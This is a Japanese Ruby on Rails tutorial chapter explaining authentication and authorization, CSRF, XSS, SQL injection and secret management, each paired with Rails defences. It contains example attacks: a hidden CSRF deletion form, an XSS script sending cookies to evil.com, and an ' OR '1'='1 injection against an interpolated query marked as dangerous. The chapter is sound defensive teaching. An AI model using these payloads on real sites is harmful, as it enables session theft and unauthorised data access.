第20章|今さら学ぶ「セキュリティ」
📚 シリーズ目次はこちら → 「今さら学ぶ」シリーズ — はじめに
🗺️ KnowledgeNoteの設計を確認 → 設計マップ
この章でわかること
- 認証と認可の違い — 「あなたは誰?」と「何をしていい?」
- CSRF — 勝手に注文される恐怖
- XSS — 悪意のあるスクリプトを仕込まれる攻撃
- SQLインジェクション — DBに不正な命令を送り込む攻撃
- 環境変数の管理 — 鍵を玄関に置きっぱなしにしない
- credentials / master key — Rails標準の「金庫」で秘密情報を保管する
🏠 たとえ話で掴む「Webセキュリティ」
Webセキュリティは 家の防犯 にたとえるとわかりやすいです。
家の防犯 Webセキュリティ
─────────────────────────────────────
玄関の鍵 パスワード(認証)
「家族しか入れない」 認可(権限チェック)
偽の宅配業者 CSRF(なりすまし攻撃)
郵便受けに爆竹 XSS(悪意のあるスクリプト)
合鍵を勝手に作る SQLインジェクション
鍵を玄関マットの下に 環境変数の管理ミス
金庫に保管 credentials(暗号化された設定ファイル)
攻撃手法の名前は難しそうですが、やっていることは「なりすまし」「不正な入力」「秘密情報の漏洩」の3パターンに集約されます。
🔐 認証と認可 — 2つの異なる概念
認証(Authentication) と 認可(Authorization) は似ていますが、全く別の概念です。
この2つを分離して考えるのは、 関心事が異なる ためです。認証は「全リクエストで共通のログインチェック」であるのに対し、認可は「リソースやアクションごとに異なる権限判断」です。たとえば「ログインしているか?」は全ページ共通ですが、「この記事を削除できるか?」は記事の著者か管理者かによって変わります。
| 認証 | 認可 | |
|---|---|---|
| 質問 | 「あなたは誰?」 | 「あなたは何をしていい?」 |
| 確認方法 | メール + パスワード | ロール(admin / member 等) |
| 英語 | Authentication | Authorization |
| Railsの実装 | Devise / Rails 8 組み込み認証 | Pundit / CanCanCan |
| たとえ | ホテルのチェックイン(身分証提示) | 部屋の鍵(入れる部屋が違う) |
DeviseによるRailsへの認証実装は(→ 第21章で詳しく扱います)。
# 認証:ログインしているか?
before_action :authenticate_user!
# 認可:この操作をする権限があるか?
def authorize_author!
unless @article.user == current_user || current_user.has_role?(:admin)
redirect_to root_path, alert: "権限がありません"
end
end
🎭 CSRF — 勝手に注文される恐怖
CSRF(Cross-Site Request Forgery)とは
CSRF は、ログイン中のユーザーに 意図しない操作をさせる 攻撃です。
たとえ話:あなたがAmazonにログインした状態で、悪意のあるサイトを開いたとします。そのサイトに「Amazonで100万円の商品を購入する」という見えないフォームが仕込まれていたら、あなたのログイン状態を悪用して勝手に購入されてしまいます。
<!-- 悪意のあるサイトに仕込まれた見えないフォーム -->
<form action="https://knowledgenote.example.com/articles/1" method="post">
<input type="hidden" name="_method" value="delete">
<input type="submit" value="可愛い猫の写真を見る"> <!-- 見た目はリンク -->
</form>
<!-- ↑ クリックすると記事が削除されてしまう! -->
Railsの対策:CSRFトークン
Railsは CSRFトークン で対策しています。フォーム送信時に「この操作は本人が意図したものだ」という証拠(トークン)を自動で付与し、サーバ側で検証します。
<%# Railsの form_with は自動でCSRFトークンを埋め込む %>
<%= form_with(model: @article) do |f| %>
<%# 生成されるHTML(トークンが自動付与) %>
<%# <input type="hidden" name="authenticity_token" value="abc123..."> %>
<% end %>
# application_controller.rb(デフォルトで有効)
class ApplicationController < ActionController::Base
# CSRFトークンの検証が自動で行われる
# 外部からの偽造リクエストは弾かれる
end
この仕組みのおかげで、Railsアプリでは 特別なコードを書かなくてもCSRF対策がデフォルトで有効 です。
⚠️ APIモード(
ActionController::APIを継承した場合)ではCSRFトークンの検証が無効になります。API設計については第27章で扱います。
💉 XSS — 悪意のあるスクリプトを仕込まれる
XSS(Cross-Site Scripting)とは
XSS は、ユーザーが入力したデータの中に JavaScriptコード を仕込み、他のユーザーのブラウザで実行させる攻撃です。
# 攻撃者がコメント欄に以下を投稿する
"<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>"
# → 他のユーザーがこのコメントを含むページを開くと、
# 攻撃者のサイトにCookie(セッション情報)が送信されてしまう
Railsの対策:自動エスケープ
Railsの ERBは、 <%= %> で出力する値を自動でHTMLエスケープ します。
<%# ユーザーが入力した値 %>
<%= comment.body %>
<%# "<script>alert('XSS')</script>" と入力されても… %>
<%# → "<script>alert('XSS')</script>" と表示される %>
<%# → JavaScriptは実行されない! %>
< が < に、> が > に変換されるため、ブラウザはスクリプトとして解釈しません。
注意:html_safe / raw は危険
# ❌ 危険 — ユーザー入力にhtml_safeを使ってはいけない
<%= comment.body.html_safe %>
# → エスケープが無効化され、スクリプトが実行される!
# ✅ 安全 — Railsのデフォルトに任せる
<%= comment.body %>
# ✅ Markdownの場合 — sanitizeと組み合わせる
<%= sanitize(markdown(article.body)) %>
html_safe と raw はエスケープを無効化するメソッドです。 ユーザー入力に対しては絶対に使わない。信頼できるコード(自分で生成したHTML等)にだけ使います。
🗃️ SQLインジェクション — DBに不正命令を送り込む
SQLインジェクションとは
SQLインジェクション は、フォームの入力欄にSQL文を仕込み、DBに不正な命令を実行させる攻撃です。
# ❌ 危険なコード — ユーザー入力をSQLに直接埋め込む
User.where("email_address = '#{params[:email]}'")
# 攻撃者が params[:email] に以下を入力する
"' OR '1'='1"
# 生成されるSQL
# SELECT * FROM users WHERE email_address = '' OR '1'='1'
# → '1'='1' は常にtrue → 全ユーザーのデータが返ってしまう!
Railsの対策:プレースホルダー
# ✅ 安全 — プレースホルダーを使う
User.where("email_address = ?", params[:email])
# → 入力値がエスケープされ、SQLとして解釈されない
# ✅ さらに安全 — ハッシュ記法を使う(推奨)
User.where(email_address: params[:email])
# → ActiveRecordが安全なSQLを自動生成
ルール:ユーザー入力を文字列展開(#{})でSQLに埋め込まない。 プレースホルダー(?)かハッシュ記法を使います。
🔑 環境変数の管理 — 鍵を玄関に置きっぱなしにしない
APIキーやDBのパスワードなどの 秘密情報 は、コードに直接書いてはいけません。
# ❌ 絶対にやってはいけない
RESEND_API_KEY = "re_abc123xyz789" # ← GitHubに公開されたら終わり
# ✅ 環境変数から読み込む
RESEND_API_KEY = ENV["RESEND_API_KEY"]
環境変数は .env ファイル(dotenv gem)やRenderの環境変数設定画面で管理します。
# Gemfile
gem "dotenv-rails", groups: [:development, :test]
# .env(開発環境用)
RESEND_API_KEY=re_abc123xyz789
DATABASE_URL=postgres://localhost/knowledgenote_dev
⚠️
.envファイルは必ず.gitignoreに追加してください。Gitにコミットすると秘密情報がGitHubに公開されてしまいます。
🏦 credentials / master key — Rails標準の「金庫」
Rails 5.2 以降では、 credentials (認証情報ファイル)という仕組みがあります。秘密情報を暗号化してGitにコミットできる「金庫」です。
仕組み
config/credentials.yml.enc ← 暗号化された設定ファイル(Gitにコミット可能)
config/master.key ← 金庫の鍵(Gitにコミット禁止!)
credentials.yml.enc は暗号化されているので、中身を見るには master.key が必要です。master.key はGitにコミットせず、本番環境では環境変数 RAILS_MASTER_KEY で渡します。
使い方
# credentials を編集する
$ EDITOR=vim rails credentials:edit
# config/credentials.yml.enc の中身(復号後)
resend:
api_key: re_abc123xyz789
aws:
access_key_id: AKIA...
secret_access_key: wJal...
secret_key_base: 64文字のランダム文字列...
# Rubyコードからアクセス
Rails.application.credentials.resend[:api_key]
# => "re_abc123xyz789"
Rails.application.credentials.dig(:aws, :access_key_id)
# => "AKIA..."
環境変数 vs credentials の使い分け
| 環境変数 | credentials | |
|---|---|---|
| 保存場所 | OS / ホスティングサービス |
credentials.yml.enc(暗号化ファイル) |
| Gitにコミット | しない | する(暗号化されているのでOK) |
| チーム共有 | 各自が個別に設定 | Gitで自動共有(鍵は別途共有) |
| 向いている場面 | 環境ごとに値が違う設定 | 全環境で共通の秘密情報 |
🛠️ KnowledgeNoteでのセキュリティ対策まとめ
# ① CSRF対策(デフォルトで有効)
class ApplicationController < ActionController::Base
# protect_from_forgery は Rails 標準でデフォルト有効(Rails 3.0 から)
end
# ② XSS対策(ERBの自動エスケープ)
# <%= @article.title %> → 自動でエスケープされる
# ③ SQLインジェクション対策(ハッシュ記法)
Article.where(user_id: current_user.id) # 安全
# ④ Mass Assignment 対策 — Strong Parameters(→ [第14章](https://qiita.com/harapeco-mgn/items/9c033b20f56250d0edb0)で詳解)
# ユーザーが送信したパラメータを無制限に受け入れると、
# admin フラグなど本来変更できないはずの値を改ざんされる危険がある。
# params.expect で「許可するキーだけ」を明示的に指定する。
def article_params
params.expect(article: [:title, :body, :published])
end
# ⑤ credentials で秘密情報を管理
# config/credentials.yml.enc に API キー等を暗号化保存
# ⑥ sessionsテーブルでセッション管理(Rails 8)
class Session < ApplicationRecord
belongs_to :user
end
💼 面接で聞かれたら?
Q:CSRF・XSS・SQLインジェクションについて説明してください。
「CSRFはログイン中のユーザーに意図しない操作をさせる攻撃で、Railsではフォーム送信時に自動付与されるCSRFトークンで防ぎます。XSSはユーザー入力に悪意のあるスクリプトを仕込む攻撃で、RailsのERBは出力を自動エスケープすることで防ぎます。SQLインジェクションはフォーム入力にSQLを仕込む攻撃で、ActiveRecordのプレースホルダーやハッシュ記法を使うことで防ぎます。いずれもRailsにはデフォルトの防御機構が備わっています。」
深掘りされたら:
- 「認証と認可の違いは?」→ 認証は「誰であるか」の確認(ログイン)。認可は「何をしてよいか」の確認(権限チェック)。それぞれDevise/Punditなどで実装する。
- 「credentialsとは?」→ 秘密情報を暗号化してGitにコミットできるRails標準の仕組み。master.keyで復号する。環境変数と違い、チーム全員がGit経由で同じ秘密情報を共有できる。
🔗 もっと深く知りたい人へ(1次情報リンク)
- Rails ガイド:Rails セキュリティガイド — CSRF / XSS / SQLi の公式解説
- Rails ガイド:Rails アプリケーションを設定する(credentials) — credentials の使い方
- OWASP Top 10 — Webアプリの脆弱性トップ10(英語)
まとめ
- ✅ 認証(Authentication)は「誰か」、認可(Authorization)は「何をしていいか」
- ✅ CSRF対策:Railsが自動でトークンを検証。開発者は特別な対応不要
- ✅ XSS対策:ERBの
<%= %>が自動エスケープ。html_safeはユーザー入力に使わない - ✅ SQLインジェクション対策:ハッシュ記法 or プレースホルダーを使い、文字列展開を避ける
- ✅ 秘密情報は環境変数か credentials で管理。コードに直接書かない
- ✅ Railsはデフォルトで主要な攻撃に対する防御機構を備えている
📚 シリーズ目次:「今さら学ぶ」シリーズ — はじめに